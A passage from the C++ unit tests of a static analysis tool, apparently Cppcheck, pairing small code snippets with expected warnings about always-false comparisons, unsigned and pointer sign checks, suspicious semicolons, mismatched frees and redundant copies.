errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n 